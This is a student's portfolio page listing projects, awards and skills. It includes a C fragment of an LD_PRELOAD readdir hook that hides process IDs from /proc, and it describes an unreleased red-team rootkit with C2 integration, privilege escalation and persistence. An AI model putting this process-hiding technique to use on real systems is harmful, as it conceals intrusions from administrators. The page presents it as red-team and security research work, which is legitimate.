// software engineering · cyber security · web3
HENRY
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Studying CS + Mathematics at the University of Kansas. Building economic conflict simulations at the Trade War Lab, with interests in systems infrastructure, security research, quantitative modeling, and decentralized systems.
VICEROY Scholar Trade War Lab
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#define _GNU_SOURCE
// LD_PRELOAD hook — hides PID from /proc
#include <dlfcn.h>

typedef struct dirent *(*readdir_t)(DIR *);
static readdir_t orig = NULL;

struct dirent *readdir(DIR *dp) {
  if (!orig) orig = dlsym(RTLD_NEXT, "readdir");
  struct dirent *e;
  while ((e = orig(dp)))
    // filter hidden PIDs from /proc
    if (!is_hidden(e->d_name)) return e;
  return NULL;
}
001 / security
ECHIDNA
Ring-3 Linux kernel rootkit integrating with the Mythic C2 framework. Implements LPE, dynamic-library hijacking, file/process/network hiding and persistence mechanisms for adversarial red-team simulation. Unfortunately not public yet
CLinux KernelMythic C2
$6,500 VICEROY Scholarship · 7th/50 national CTF
// OfferCreate — XRPL native DEX
// ledger-primitive trading, no smart contracts

const tx: OfferCreate = {
  TransactionType: "OfferCreate",
  Account: buyerWallet.address,
  TakerPays: xrpToDrops(xrpAmount),
  // 1 XRP = 1,000,000 drops
  TakerGets: { currency, issuer, value: tokenAmount },
};
const prepared = await c.autofill(tx);
return await submitAndWait(prepared, wallet);
// finality ~3–5s · no mining
002 / web3
TERRANOVA
On-chain commodity trading platform enabling tokenization of real-world assets on the XRP Ledger.
Next.jsXRPLSolidityTailwindCSS
Best Business Analysis · Best Use of XRPL
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TWL
003 / research
TRADE WAR LAB SIMULATION PLATFORM
U.S.–China trade policy simulation platform. Dynamic modeling of tariff impacts using TIES framework data.
Next.jsSupabaseTypeScriptR
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Currently
Building
Trade War Lab - Simulation v1 launch
Studying
ML · Systems Security · Modern Algebra
Experience
4 roles
Education & Skills
University of Kansas
B.S. Computer Science, Minor in Math | GPA 3.72/4.00
Expected May 2028 · Lawrence, KS
Relevant Courses: Digital Logic Design, Embedded Systems, Software Engineering, Discrete Structures, Operating Systems, DSA, Computer Architecture, Machine Learning, Theory of Computing, Modern Algebra, Linear Algebra
Certifications
CompTIA Security+ CompTIA June 2025
GIAC Foundational Cybersecurity Technologies (GFACT) GIAC May 2024
Skills
Languages
PythonJavaScript/TypeScriptC/C++RustSoliditySQL
Frameworks / Libraries
ReactNext.jsAstroSvelteTailwindCSS
Tools
GitPostmanDockerNodeLinuxWindowsSSMS